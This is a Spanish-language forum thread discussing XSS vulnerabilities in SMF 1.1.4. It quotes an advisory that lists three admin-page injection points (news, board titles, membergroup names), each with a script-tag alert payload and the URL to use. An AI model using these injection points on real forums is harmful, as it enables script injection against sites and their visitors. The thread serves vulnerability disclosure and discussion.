Por cierto no sabes de donde bajo el parche para el XSS q presenta el 1.1.4...!!
No hay aún pero no te preocupes ya que no son remotos a menos que se incluya un CSRF aunque dudo mucho que SMF sea vulnerable a eso.
Supongo que te refieres a este:
_____________________________________________________________________
_______
| |
| __________.__ __ __________ __ |
| \______ \ | _____ ____ | | _\______ \ ____ _____/ |_ ______ |
| | | _/ | \__ \ _/ ___\| |/ /| _// _ \ / _ \ __\/ ___/ |
| | | \ |__/ __ \\ \___| < | | ( <_> | <_> ) | \___ \ |
| |______ /____(____ /\___ >__|_ \|____|_ /\____/ \____/|__| /____ > |
| \/ \/ \/ \/ \/ \/ |
|----------------------------------------------------------------------------|
| |
|
http://www.blackroots.it staff[at]blackroots[
dot]it |
| |
| Autore : The-Dark_Man && Bled |
|____________________________________________________________________________|
##############################################################################
# #
# XSS smf 1.1.4 #
# #
##############################################################################
Found Xss in the administration...
1----------------------
Go to
http://link/[path]/index.php?action=news
Modify the news and insert
<script>alert('Xss')</script>
Save the news! no an alert will be generated in every page!
2---------------------
Go to
http://link/[path]/index.php?action=manageboards
Create a new forum with Title:
<script>alert('Xss')</script>
result? XSS
3---------------------
Go here
http://link/[path]/index.php?action=membergroups;
Modify or create a new gruop and name it:
<script>alert('Xss')</script>
----------------------
The-Dark_Man && Bled of blackroots.it
Autor
En línea
- 
al final tienen como 4 XSS incluyendo web y foro pero la diferencia es que los que tu dices son solo locales y tendrías que tener derechos sobre el foro para crear los XSS, este que yo digo cualquiera puede crearlo.
